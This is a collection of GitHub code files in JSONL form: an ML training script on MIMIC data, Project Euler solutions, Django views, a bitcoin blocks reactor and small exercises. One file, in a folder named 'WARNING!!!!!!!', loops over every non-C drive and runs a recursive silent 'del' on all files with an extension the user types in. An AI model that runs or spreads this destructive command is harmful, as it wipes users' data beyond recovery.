means_df=pd.Series.from_csv(\"~/Data/MIMIC/mean_features.csv\")\n means_vec=torch.tensor(means_df.as_matrix(),dtype=torch.float)\n\n dataloader=DataLoader(data_train,batch_size=5000,shuffle=True,num_workers=2)\n #dataloader_val= DataLoader(data_val,batch_size=1000,shuffle=False)\n\n mod=GRU_mean(data_train.meas_num,means_vec,device,data_train.cov_u.size(1),imputation_mode=\"simple\")\n mod.float()\n mod.to(device)\n #mod.double()\n\n for epoch in range(int(epoch_max)):\n if epoch<50:\n l_r=0.0005\n elif epoch<95:\n l_r=0.00015\n else:\n l_r=0.00005\n optimizer=torch.optim.Adam(mod.parameters(),lr=l_r,weight_decay=L2)\n optimizer.zero_grad()\n\n criterion=nn.BCELoss()\n\n\n for i_batch,sampled_batch in enumerate(dataloader):\n optimizer.zero_grad()\n target=sampled_batch[2].to(device)\n pred=mod.forward(torch.transpose(sampled_batch[1].to(device),1,2),sampled_batch[3].to(device)) #Feed as batchxtimexfeatures\n loss=criterion(pred,target)\n loss.backward()\n optimizer.step()\n with torch.no_grad():\n #for i_val,batch_val in enumerate(dataloader_val):\n target=data_val.tags.to(device)\n pred=mod.forward(torch.transpose(data_val.data_matrix.to(device),1,2),data_val.cov_u.to(device)) #Feed as batchxtimexfeatures\n auc_loss=roc_auc_score(target,pred)\n print(auc_loss)\n outfile_path=\"./unique_model.pt\"\n torch.save(mod.state_dict(),outfile_path)\n print(\"Model saved in the file \"+outfile_path)\n\n #Compute validation AUC curve\n with torch.no_grad():\n fpr,tpr,_ = roc_curve(data_val.tags,mod.forward(torch.transpose(data_val.data_matrix.to(device),1,2)).cpu().detach().numpy())\n roc_auc=auc(fpr,tpr)\n plt.figure()\n lw = 2\n plt.plot(fpr, tpr, color='darkorange',\n lw=lw, label='ROC curve (area = %0.2f)' % roc_auc)\n plt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.05])\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.title('Receiver operating characteristic example')\n plt.legend(loc=\"lower right\")\n plt.savefig(\"Unique_AUC.pdf\")\n\n\n\nclass train_class(Trainable):\n def _setup(self):\n self.device=torch.device(\"cuda:0\")\n #means_vec for imputation.\n\n self.mod=GRU_mean(get_pinned_object(data_train).meas_num,get_pinned_object(means_vec),self.device,get_pinned_object(data_train).cov_u.size(1),imputation_mode=\"simple\")\n self.mod.float()\n self.mod.to(self.device)\n\n self.dataloader=DataLoader(get_pinned_object(data_train),batch_size=5000,shuffle=True,num_workers=2)\n #self.dataloader_val= DataLoader(get_pinned_object(data_val),batch_size=1000,shuffle=False)\n\n self.timestep=0\n def _train(self):\n self.timestep+=1\n\n #Select learning rate depending on the epoch.\n if self.timestep<50:\n l_r=0.0005\n elif self.timestep<95:\n l_r=0.00015\n else:\n l_r=0.00005\n\n optimizer = torch.optim.Adam(self.mod.parameters(), lr=l_r, weight_decay=self.config[\"L2\"])\n\n criterion=nn.BCELoss()\n\n for i_batch,sampled_batch in enumerate(self.dataloader):\n optimizer.zero_grad()\n target=sampled_batch[2].to(self.device)\n pred=self.mod.forward(torch.transpose(sampled_batch[1].to(self.device),1,2),sampled_batch[3].to(self.device)) #Feed as batchxtimexfeatures\n loss=criterion(pred,target)\n loss.backward()\n optimizer.step()\n\n with torch.no_grad():\n loss_val=0\n #for i_val,batch_val in enumerate(self.dataloader_val):\n target=get_pinned_object(data_val).tags.to(self.device)\n pred=self.mod.forward(torch.transpose(get_pinned_object(data_val).data_matrix.to(self.device),1,2),get_pinned_object(data_val).cov_u.to(self.device)) #Feed as batchxtimexfeatures\n loss_val=roc_auc_score(target,pred)\n auc_mean=loss_val\n\n return TrainingResult(mean_accuracy=auc_mean,timesteps_this_iter=1)\n\n def _save(self,checkpoint_dir):\n path=os.path.join(checkpoint_dir,\"checkpoint\")\n torch.save(self.mod.state_dict(),path)\n print(\"SAVIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIING\")\n #raise Exception()\n #torch.cuda.empty_cache()\n np.save(path+\"_timestep.npy\",self.timestep)\n return path\n def _restore(self,checkpoint_path):\n print(\"LOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADING\")\n self.mod.load_state_dict(torch.load(checkpoint_path))\n self.timestep=np.load(checkpoint_path+\"_timestep.npy\").item()\n\nif __name__==\"__main__\":\n\n opt=parser.parse_args()\n if opt.unique:\n train(torch.device(\"cuda:0\"),opt.maxepochs,opt.L2)\n else:\n ray.init(num_cpus=10,num_gpus=2)\n\n\n data_train=pin_in_object_store(LSTMDataset_ByPat(file_path=\"~/Data/MIMIC/\"))\n data_val=pin_in_object_store(LSTMDataset_ByPat(csv_file_serie=\"LSTM_tensor_val.csv\",file_path=\"~/Data/MIMIC/\",cov_path=\"LSTM_covariates_val\",tag_path=\"LSTM_death_tags_val.csv\"))\n means_df=pd.Series.from_csv(\"~/Data/MIMIC/mean_features.csv\")\n means_vec=pin_in_object_store(torch.tensor(means_df.as_matrix(),dtype=torch.float))\n\n tune.register_trainable(\"my_class\", train_class)\n\n hyperband=AsyncHyperBandScheduler(time_attr=\"training_iteration\",reward_attr=\"mean_accuracy\",max_t=350,grace_period=15)\n\n exp={\n 'run':\"my_class\",\n 'repeat':30,\n 'stop':{\"training_iteration\":350},\n 'trial_resources':{\n \"gpu\":1,\n \"cpu\":1\n },\n 'config':{\n \"L2\":lambda spec: 10**(3*random.random()-6)\n }\n }\n\n\n tune.run_experiments({\"GRU_simple_2layersclassif_350epochs\":exp},scheduler=hyperband)\n","repo_name":"edebrouwer/Tensor_Fact","sub_path":"baselines.py","file_name":"baselines.py","file_ext":"py","file_size_in_byte":15371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"486913140","text":"\"\"\"\r\n Число 1406357289, является пан-цифровым,\r\nпоскольку оно состоит из цифр от 0 до 9 в определенном порядке.\r\nПомимо этого, оно также обладает интересным свойством\r\nделимости подстрок.\r\n\r\n Пусть d1 будет 1-й цифрой, d2 будет 2-й цифрой, и т.д.\r\nВ таком случае, можно заметить следующее:\r\n\r\n d2d3d4=406 делится на 2 без остатка\r\n d3d4d5=063 делится на 3 без остатка\r\n d4d5d6=635 делится на 5 без остатка\r\n d5d6d7=357 делится на 7 без остатка\r\n d6d7d8=572 делится на 11 без остатка\r\n d7d8d9=728 делится на 13 без остатка\r\n d8d9d10=289 делится на 17 без остатка\r\n\r\n Найдите сумму всех пан-цифровых чисел из цифр от 0 до 9,\r\nобладающих данным свойством.\r\n\"\"\"\r\n\r\nimport itertools\r\n\r\n\r\ndef compute():\r\n \"\"\"\r\n Функция возвращает сумму всех панцифровых чисел,\r\n которые имеют подстроку, делимую на простые числа.\r\n \"\"\"\r\n ans = sum(int(\"\".join(map(str, num)))\r\n for num in itertools.permutations(list(range(10)))\r\n if is_substring_divisible(num))\r\n return str(ans)\r\n\r\n\r\nDIVISIBILITY_TESTS = [2, 3, 5, 7, 11, 13, 17]\r\n\r\n\r\ndef is_substring_divisible(num):\r\n \"\"\"\r\n Возвращает True, если число имеет подстроку,\r\n делимую на простые числа.\r\n \"\"\"\r\n return all(\r\n (num[i + 1] * 100 + num[i + 2] * 10 + num[i + 3]) % p == 0\r\n for (i, p) in enumerate(DIVISIBILITY_TESTS))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n print(compute())\r\n","repo_name":"Tyferse/Python3_public","sub_path":"ProjecEuler2021/Tasks 41-50/Task44.py","file_name":"Task44.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37898475495","text":"from django.http import HttpResponse\nfrom rest_framework import status, permissions\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nimport csv\n\nfrom api.v1.external_api.telegrambot import send_message\nfrom api.v1.worksheets.BuyingForms.models import Form\nfrom api.v1.worksheets.BuyingForms.serializers import CallRequestSerializer\nfrom utils.utils import get_user\n\n\nclass GetData(APIView):\n\n def get(self, request):\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=\"forms_report.csv\"'\n\n writer = csv.writer(response)\n forms = Form.objects.all()\n writer.writerow(['age','city','drug','name','height','weight','operations','specialists'])\n for e in forms:\n jsondata = e.jsondata\n if not 'jsondata' in jsondata:\n continue\n try:\n jsondata = jsondata['jsondata']\n age = \"\"\n if 'age' in jsondata:\n age = jsondata['age']\n city = \"\"\n if 'city' in jsondata:\n city = jsondata['city']\n drug = \"\"\n if 'drug' in jsondata:\n drug = jsondata['drug']\n name = \"\"\n if 'name' in jsondata:\n name = jsondata['name']\n height = \"\"\n if 'height' in jsondata:\n height = jsondata['height']\n weight = \"\"\n if 'weight' in jsondata:\n weight = jsondata['weight']\n operations = \"\"\n if 'operations' in jsondata:\n operations = jsondata['operations']\n specialists = \"\"\n if 'specialists' in jsondata:\n specialists = jsondata['specialists']\n writer.writerow([age, city, drug, name, height, weight, operations, specialists])\n except TypeError:\n print('oops')\n\n return response\n\nclass BackCallRequest(APIView):\n\n def post(self, request):\n ser = CallRequestSerializer(data=request.data)\n ser.is_valid(raise_exception=True)\n phone = ser.validated_data['phone'].replace(\"-\", \"\").replace(\"(\", \"\").replace(\")\", \"\").replace(\" \", \"\").replace(\"+\", \"\")\n name = ser.validated_data['name'].replace(\"-\", \"\").replace(\"(\", \"\").replace(\")\", \"\").replace(\" \", \"\").replace(\"+\", \"\")\n\n str = f\"{name} с номером {phone} ожидает звонка\"\n send_message(str)\n return Response({}, status.HTTP_200_OK)\n\n","repo_name":"Danirill/cp-2021-back","sub_path":"src/api/v1/worksheets/BuyingForms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"487004600","text":"\"\"\"\r\n Число 145 известно благодаря такому свойству,\r\nчто сумма факториалов его цифр равна 145:\r\n\r\n 1! + 4! + 5! = 1 + 24 + 120 = 145\r\n\r\n Возможно, менее известно число 169 -\r\nоно создает самую длинную цепочку чисел, которая возвращается к 169.\r\nОказывается, существует только три таких замкнутых цепи:\r\n\r\n 169 → 363601 → 1454 → 169\r\n 871 → 45361 → 871\r\n 872 → 45362 → 872\r\n\r\n Нетрудно показать, что ЛЮБОЕ начальное число рано или поздно\r\nприведет к замыканию цепи. Например,\r\n\r\n 69 → 363600 → 1454 → 169 → 363601 (→ 1454)\r\n 78 → 45360 → 871 → 45361 (→ 871)\r\n 540 → 145 (→ 145)\r\n\r\n Начав с 69, мы получим цепь из пяти неповторяющхися членов,\r\nно самая длинная цепь, начинающаяся с числа меньше миллиона,\r\nимеет шестьдесят неповторяющихся членов.\r\n\r\n Сколько существует цепей, начинающихся с числа меньше миллиона,\r\nсодержащих ровно шестьдесят неповторяющихся членов?\r\n\"\"\"\r\n\r\nimport math\r\n\r\n# Список факториалов цифр\r\nFACTORIAL = [math.factorial(i) for i in range(10)]\r\n\r\n\r\ndef factorialize(n):\r\n \"\"\"\r\n Возвращает сумму факториалов цифр.\r\n Returns a sum of factorials of digits.\r\n \"\"\"\r\n result = 0\r\n while n != 0:\r\n result += FACTORIAL[n % 10]\r\n n //= 10\r\n \r\n return result\r\n\r\n\r\ndef get_chain_length(n):\r\n \"\"\"\r\n Возвращает длину цепи сумм факториалов цифр.\r\n Returns a length of chain of sums of digits factorials.\r\n \"\"\"\r\n seen = set()\r\n\r\n while True:\r\n seen.add(n)\r\n n = factorialize(n)\r\n if n in seen:\r\n return len(seen)\r\n\r\n\r\n# Счёт количества нужных чисел меньше миллиона\r\nans = sum(1 for i in range(1, 10 ** 6) if get_chain_length(i) == 60)\r\n\r\nprint(ans)\r\n","repo_name":"Tyferse/Python3_public","sub_path":"ProjecEuler2021/Tasks 71-80/Task74.py","file_name":"Task74.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28080190837","text":"\"\"\"15. Escribir una función que dada una cadena de caracteres, devuelva:\n1. La primera letra de cada palabra. Por ejemplo, si recibe 'Universal Serial Bus' debe\ndevolver 'USB'.\n2. Dicha cadena con la primera letra de cada palabra en mayúsculas. Por ejemplo, si recibe\n'república argentina' debe devolver 'República Argentina'.\n\n3. Las palabras que comiencen con la letra ‘A’. Por ejemplo, si recibe 'Antes de ayer' debe\ndevolver 'Antes ayer'\"\"\"\n\ndef mostrarSiglasDeCadena(cadena):\n \"\"\"Recibe:\n cadena:\n\n Devuelve una cadena de texto en siglas usando las primeras letras\"\"\"\n palabras = cadena.split(\" \")\n resultado=\"\"\n\n for palabra in palabras:\n resultado += palabra[0]\n\n return resultado.upper()\n\n\ndef mostrarMayusculaAlPrimero(cadena):\n \"\"\"Recibe:\n cadena:\n\n Devuelve la cadena conviertiendo a todas las primeras letras de cada palabra en mayuscula\"\"\"\n palabras = cadena.split(\" \")\n\n resultado = \"\"\n\n for palabra in palabras:\n\n resultado += palabra.capitalize() + \" \"\n\n return resultado\n\n\ndef mostrarPalabrasConA(cadena):\n \"\"\"Recibe:\n cadena:\n\n Devuelve una cadena mostrando las palabras de la cadena que empiezen con a\"\"\"\n palabras = cadena.split(\" \")\n\n resultado = \"\"\n\n for palabra in palabras:\n\n if palabra[0] == \"a\" or palabra[0] == \"A\":\n resultado += palabra + \" \"\n\n if resultado == \"\":\n\n resultado=f\"No hay palabras con la letra a\"\n\n return resultado\n\n\n\n\n\n","repo_name":"codexcod/Baby-steps-Python","sub_path":"ejercicio15.py","file_name":"ejercicio15.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73469255892","text":"from flask import render_template\n\nfrom .offers_report import OffersReportView\nfrom .offers import OfferView\nfrom .settings import SettingsView\nfrom offers_collector import appbuilder\n\n\n@appbuilder.app.errorhandler(404)\ndef page_not_found(e):\n return (\n render_template(\n \"404.html\", base_template=appbuilder.base_template, appbuilder=appbuilder\n ),\n 404,\n )\n\n\n__all__ = [\n 'OffersReportView',\n 'OfferView',\n 'SettingsView',\n]\n","repo_name":"bitzlato/offers_collector","sub_path":"offers_collector/views/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74200506453","text":"data_str = \" 10, 20, 3o, 40, 50 \"\r\ndata_list = []\r\n\r\ndata_replace = data_str.replace(\" \", \"\")\r\nprint(data_replace)\r\n\r\nres_val = data_replace.split(',')\r\nfor i, v in enumerate(res_val):\r\n if v.isdigit():\r\n data_list.append(int(v))\r\n else:\r\n print('[{}]: {}은 숫자포맷이 아닙니다.'.format(i,v))\r\nprint(data_list)","repo_name":"keulreobeu/bigdate_student","sub_path":"PycharmProjects/chapter06/wode.py","file_name":"wode.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20277262043","text":"from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, redirect\nfrom .models import Order, OrderFood\nfrom administrator.models import Category, Food\nfrom .forms import OrderForm, OrderFoodForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nfrom datetime import datetime\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ObjectDoesNotExist\n\ncart = []\norder = Order()\n\n\ndef index_customer(request):\n if not request.user.is_authenticated:\n messages.info(request, 'Debes iniciar sesión')\n return redirect('login_registration:index')\n else:\n current_user = User.objects.get(id = request.user.id)\n return render(request, 'customer/menu_customer.html', {'current_user':current_user})\n\n\ndef create_order(request):\n if not request.user.is_authenticated:\n messages.info(request, 'Debes iniciar sesión')\n return redirect('login_registration:index')\n else:\n orders = Order.objects.filter(user=request.user)\n flag=False\n for i in orders:\n if i.state == 'PEND':\n flag=True\n break\n if not flag:\n if len(cart) == 0:\n form = OrderForm(request.POST or None)\n if form.is_valid():\n order.user = User.objects.get(id = request.user.id)\n order.pickup_time = form.cleaned_data['pickup_time']\n order.date_time = datetime.now()\n #order.save()\n return redirect('customer:index_order')\n else:\n return render(request, 'customer/create_order.html', {'form':form})\n else:\n return redirect('customer:index_order')\n else:\n messages.info(request, 'El usuario ya tiene un pedido pendiente')\n return redirect('customer:index_customer')\n\n\ndef index_order(request):\n if not request.user.is_authenticated:\n messages.info(request, 'Debes iniciar sesión')\n return redirect('login_registration:index')\n else:\n categories = Category.objects.all()\n all_food = Food.objects.filter(available=True)\n return render(request, 'customer/choose_food.html', {'food': all_food, 'categories': categories})\n\n\ndef create_order_food(request, id):\n if not request.user.is_authenticated:\n messages.info(request, 'Debes iniciar sesión')\n return redirect('login_registration:index')\n else:\n form = OrderFoodForm(request.POST or None)\n item = Food.objects.get(id_food=id)\n flag = False\n for c in cart: #Verifico que el item no se haya agregado anteriormente\n if c.food == item:\n flag = True\n break\n\n if not flag:\n if form.is_valid():\n order_food = OrderFood()\n order_food.food = item\n order_food.quantity = form.cleaned_data['quantity']\n cart.append(order_food)\n messages.success(request, 'Item agregado con éxito al carrito')\n return redirect('customer:index_order')\n else:\n return render(request, 'customer/add_to_order.html', {'form':form, 'item': item})\n else:\n messages.warning(request, 'El item ya fue agregado al carrito')\n return redirect('customer:index_order')\n\n\ndef show_cart(request):\n if not request.user.is_authenticated:\n messages.info(request, 'Debes iniciar sesión')\n return redirect('login_registration:index')\n else:\n total_price = 0\n for item in cart:\n total_price += item.food.price * item.quantity\n order.total_price = total_price\n orders = Order.objects.filter(user=request.user)\n flag = False\n for o in orders:\n if o.state == 'PEND':\n flag = True\n break\n if len(cart) > 0:\n return render(request, 'customer/cart.html', {'cart': cart, 'total_price':total_price}) \n elif len(cart) == 0:\n messages.info(request, 'No hay productos agregados al carrito. Para ello debes realizar un pedido')\n return redirect('customer:index_customer')\n elif flag:\n messages.info(request, 'El usuario tiene un pedido pendiente por lo tanto el carrito se encuentra vacío')\n return redirect('customer:index_customer')\n\n\n\ndef delete_item_from_cart(request, id):\n if not request.user.is_authenticated:\n messages.info(request, 'Debes iniciar sesión')\n return redirect('login_registration:index')\n else:\n item = Food.objects.get(id_food=id)\n #order_food = OrderFood.objects.get(food=item)\n for order_food in cart:\n if order_food.food.id_food == item.id_food:\n cart.remove(order_food)\n break\n if len(cart) == 0:\n messages.info(request, 'El item se eliminó del carrito')\n return redirect('customer:index_order')\n else:\n messages.info(request, 'El item se eliminó del carrito')\n return render(request, 'customer/cart.html', {'cart':cart})\n\n\ndef send_order(request):\n if not request.user.is_authenticated:\n messages.info(request, 'Debes iniciar sesión')\n return redirect('login_registration:index')\n else:\n order.save()\n for order_food in cart:\n order_food.order = order\n order_food.save()\n cart.clear()\n messages.success(request, 'Pedido enviado con éxito')\n return redirect('customer:index_customer')\n\n\ndef view_all_orders(request):\n if not request.user.is_authenticated:\n messages.info(request, 'Debes iniciar sesión')\n return redirect('login_registration:index')\n else:\n try:\n orders = Order.objects.filter(user=request.user).order_by('-date_time')\n return render(request, 'customer/all_orders.html', {'orders':orders})\n except:\n messages.info(request, 'Aún No se han realizados pedidos')\n return redirect('customer:index_customer')\n\ndef view_pending_order(request):\n if not request.user.is_authenticated:\n messages.info(request, 'Debes iniciar sesión')\n return redirect('login_registration:index')\n else:\n try:\n order = Order.objects.get(user=request.user, state='PEND')\n items = OrderFood.objects.filter(order=order)\n total_price = 0\n for i in items:\n total_price += i.food.price\n return render(request, 'customer/view_pending_order.html', {'order':order, 'items':items, 'total_price':total_price})\n except:\n messages.info(request, 'No existen pedidos pendientes')\n return redirect('customer:index_customer')\n \n\n\ndef cancel_order(request, id):\n if not request.user.is_authenticated:\n messages.info(request, 'Debes iniciar sesión')\n return redirect('login_registration:index')\n else:\n order = Order.objects.get(id_order=id)\n order.delete()\n messages.success(request, 'El pedido fue cancelado con éxito')\n return redirect('customer:index_customer')\n\n\ndef clean_cart(request):\n cart.clear()\n return redirect('login_registration:logout')","repo_name":"Manuel-Ferraretto/TPI-Soporte","sub_path":"customer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8949776952","text":"import asyncio\nfrom spruned.daemon import exceptions\nfrom spruned.application.logging_factory import Logger\nfrom spruned.application.tools import async_delayed_task\nfrom spruned.daemon.bitcoin_p2p.p2p_interface import P2PInterface\nfrom spruned.repositories.repository import Repository\n\n\nclass BlocksReactor:\n \"\"\"\n This reactor keeps non-pruned blocks aligned to the best height.\n \"\"\"\n def __init__(\n self,\n repository: Repository,\n interface: P2PInterface,\n loop=asyncio.get_event_loop(),\n prune=200,\n delayed_task=async_delayed_task\n ):\n self.repo = repository\n self.interface = interface\n self.loop = loop or asyncio.get_event_loop()\n self.lock = asyncio.Lock()\n self.delayer = delayed_task\n self._last_processed_block = None\n self._prune = prune\n self._max_per_batch = 10\n self._available = False\n self._fallback_check_interval = 30\n\n def set_last_processed_block(self, last):\n if last != self._last_processed_block:\n self._last_processed_block = last\n Logger.p2p.info(\n 'Last processed block: %s (%s)',\n self._last_processed_block and self._last_processed_block['block_height'],\n self._last_processed_block and self._last_processed_block['block_hash'],\n )\n\n def on_header(self, best_header):\n Logger.p2p.debug('BlocksReactor.on_header: %s', best_header)\n self.loop.create_task(self._check_blockchain(best_header))\n\n async def check(self):\n urgent = False\n try:\n best_header = self.repo.headers.get_best_header()\n urgent = await self._check_blockchain(best_header)\n except Exception as e:\n urgent = urgent or False\n Logger.p2p.exception('Error on BlocksReactor fallback %s', str(e))\n finally:\n self.loop.create_task(\n self.delayer(self.check, 0 if urgent else self._fallback_check_interval)\n )\n\n async def _check_blockchain(self, best_header):\n urgent = False\n try:\n await self.lock.acquire()\n if not self._last_processed_block or \\\n best_header['block_height'] > self._last_processed_block['block_height']:\n urgent = await self._on_blocks_behind_headers(best_header)\n elif best_header['block_height'] < self._last_processed_block['block_height']:\n Logger.p2p.warning('Headers index is behind what this task done. Reset current status')\n self.set_last_processed_block(None)\n urgent = True\n # This will be fixed in the next iteration by on_blocks_behind_header\n else:\n if best_header['block_hash'] != self._last_processed_block['block_hash']:\n Logger.p2p.warning('There must be a reorg. Reset current status')\n # This will be fixed in the next iteration by on_blocks_behind_header\n self.set_last_processed_block(None)\n urgent = True\n except (\n exceptions.BlocksInconsistencyException\n ):\n Logger.p2p.exception('Exception checkping the blockchain')\n self.set_last_processed_block(None)\n urgent = True\n finally:\n self.lock.release()\n return urgent\n\n async def _on_blocks_behind_headers(self, best_header):\n if self._last_processed_block and \\\n best_header['block_height'] - self._last_processed_block['block_height'] < self._prune:\n height_to_start = self._last_processed_block['block_height']\n urgent = False\n else:\n height_to_start = best_header['block_height'] - self._prune\n height_to_start = height_to_start if height_to_start >= 0 else 0\n urgent = True\n\n headers = self.repo.headers.get_headers_since_height(height_to_start, limit=self._max_per_batch)\n _local_blocks = {h['block_hash']: self.repo.blockchain.get_block(h['block_hash'],\n with_transactions=False) for h in headers}\n _local_hblocks = {k: v for k, v in _local_blocks.items() if v is not None}\n _request = [x['block_hash'] for x in headers if x['block_hash'] not in _local_hblocks]\n blocks = _request and await self.interface.get_blocks(*_request)\n _hheaders = {v['block_hash']: v for v in headers}\n if blocks:\n urgent = urgent or False\n try:\n sorted_values = sorted(blocks.values(), key=lambda x: x['block_hash'])\n saved_blocks = self.repo.blockchain.save_blocks(*sorted_values)\n Logger.p2p.debug('Saved block %s', saved_blocks)\n except:\n Logger.p2p.exception('Error saving blocks %s', blocks)\n return True\n else:\n urgent = True\n saved_blocks = [_local_hblocks[headers[-1]['block_hash']]]\n\n if saved_blocks:\n self.set_last_processed_block(\n {\n 'block_hash': saved_blocks[-1]['block_hash'],\n 'block_height': _hheaders[saved_blocks[-1]['block_hash']]['block_height']\n }\n )\n else:\n urgent = True\n return urgent\n\n async def on_connected(self):\n self._available = True\n self.loop.create_task(self.check())\n\n async def start(self):\n self.interface.add_on_connect_callback(self.on_connected)\n self.loop.create_task(self.interface.start())\n\n async def bootstrap_blocks(self):\n while len(self.interface.pool.established_connections) < self.interface.pool.required_connections:\n Logger.p2p.info('Bootstrap: ConnectionPool not ready yet')\n await asyncio.sleep(5)\n Logger.p2p.info('Bootstrap: Starting Bootstrap Procedure on %s blocks', self._prune)\n try:\n await self.lock.acquire()\n best_header = self.repo.headers.get_best_header()\n headers = self.repo.headers.get_headers_since_height(best_header['block_height'] - self._prune)\n missing_blocks = []\n for blockheader in headers:\n if not self.repo.blockchain.get_block(blockheader['block_hash']):\n missing_blocks.append(blockheader['block_hash'])\n i = 0\n while 1:\n i += 1\n if len(self.interface.pool.established_connections) - len(self.interface.pool._busy_peers) \\\n < self.interface.pool.required_connections:\n Logger.p2p.debug('Missing peers. Waiting.')\n await asyncio.sleep(20)\n continue\n\n status = float(100) / self._prune * (len(headers) - len(missing_blocks))\n status = status if status <= 100 else 100\n self.interface.set_bootstrap_status(status)\n missing_blocks = missing_blocks[::-1]\n _blocks = [\n missing_blocks.pop() for _ in\n range(0, int(len(self.interface.pool.established_connections)*0.5) or 1)\n if missing_blocks\n ]\n if not _blocks:\n Logger.p2p.info('Bootstrap: No blocks to fetch.')\n break\n not i and Logger.p2p.info('Bootstrap: Fetching %s blocks', len(_blocks))\n\n async def save_block(blockhash):\n block = (await asyncio.gather(\n self.interface.get_block(blockhash, peers=1, timeout=20),\n return_exceptions=True\n ))[0]\n if isinstance(block, dict):\n Logger.p2p.info(\n 'Bootstrap: saved block %s (%s/%s)',\n block['block_hash'],\n self._prune - len(missing_blocks),\n self._prune\n )\n self.repo.blockchain.save_block(block)\n else:\n Logger.p2p.debug('Bootstrap: enqueuing block %s (%s)', blockhash, type(block))\n missing_blocks.insert(0, blockhash)\n\n futures = [save_block(blockhash) for blockhash in _blocks]\n await asyncio.gather(*futures, return_exceptions=True)\n finally:\n self.lock.release()\n","repo_name":"Alexintosh/spruned","sub_path":"spruned/daemon/tasks/blocks_reactor.py","file_name":"blocks_reactor.py","file_ext":"py","file_size_in_byte":8610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"47001626557","text":"#\n# @lc app=leetcode.cn id=419 lang=python3\n#\n# [419] 甲板上的战舰\n#\nfrom typing import List\n\n\nclass Solution:\n # 判断左侧和上侧是否也是战舰\n # 若是则当前属于左侧的战舰或上侧的战舰\n # 否则则当前为一艘新的战舰,计数+1\n def countBattleships(self, board: List[List[str]]) -> int:\n try:\n row = len(board)\n col = len(board[0])\n\n count = 0\n for r in range(row):\n for c in range(col):\n if board[r][c] == \"X\":\n if not self.has_neighbor(board, r, c):\n count += 1\n\n return count\n\n except:\n return 0\n\n # 寻找左侧 上侧 是否有战列舰\n def has_neighbor(self, board: List[List[str]], r: int, c: int) -> bool:\n has_left_neighbor = c != 0 and board[r][c-1] == \"X\"\n has_up_neighbor = r != 0 and board[r-1][c] == \"X\"\n return has_left_neighbor or has_up_neighbor\n\n\nif __name__ == \"__main__\":\n print(Solution().countBattleships(\n [[\".\", \".\", \".\", \"X\"], [\".\", \"X\", \".\", \"X\"], [\".\", \".\", \".\", \"X\"]]))\n","repo_name":"fengbaoheng/leetcode","sub_path":"python/419.battleships-in-a-board.py","file_name":"419.battleships-in-a-board.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24351070672","text":"import subprocess\r\nname_extention = input('Enter only one file Extention(like: jpf, pdf, png,....) ===>> ')\r\n# Finding System Drives\r\nAPD = [\"A:\", \"B:\", \"C:\", \"D:\", \"E:\", \"F:\", \"G:\", \"H:\", \"Z:\", \"N:\"]\r\nsys_drive = []\r\ncmd = subprocess.check_output('wmic logicaldisk get name', shell=True).decode()\r\nfor drive in APD:\r\n if drive in cmd:\r\n sys_drive.append(drive)\r\n\r\nprint(sys_drive)\r\nsys_drive.remove('C:')\r\n\r\n\r\nprint(sys_drive)\r\n# Deleting file\r\n\r\nfor drive in sys_drive:\r\n cmd = subprocess.check_output('{} && cd \\\\ && del /S /Q *.{}'.format(drive, name_extention), shell=True)\r\n","repo_name":"Parsaahmadiafshar/pentest-Network","sub_path":"WARNING!!!!!!!/Delte file with extention.py","file_name":"Delte file with extention.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19382877318","text":"n,m = map(int, input().split())\nice_board = []\nfor i in range(n):\n ice_board.append(list(map(int, input().split())))\n\ndef dfs(x, y):\n if x <= -1 or x >= n or y <= -1 or y >= m:\n return False\n if ice_board[x][y] == 0:\n ice_board[x][y] = 1\n dfs(x-1, y)\n dfs(x, y-1)\n dfs(x+1, y)\n dfs(x, y+1)\n return True\n return False\n\nanswer = 0\nfor i in range(n):\n for j in range(m):\n if dfs(i,j) == True:\n answer += 1\n\nprint(answer)\n\n","repo_name":"suhjaesuk/codingtest.py","sub_path":"thisiscodingtest/P_음료수얼려먹기.py","file_name":"P_음료수얼려먹기.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26765574250","text":"#!/usr/bin/env python3\n\n\n#self defined packages\n#from utils.serializer import serialize_task\nfrom taskidentification.taskid import SentenceParser\nfrom taskidentification.similarity import get_similar_tasks, shingling\nfrom utils.nlputils import VERB_IDENTIFIERS, NOUN_IDENTIFIERS\nfrom 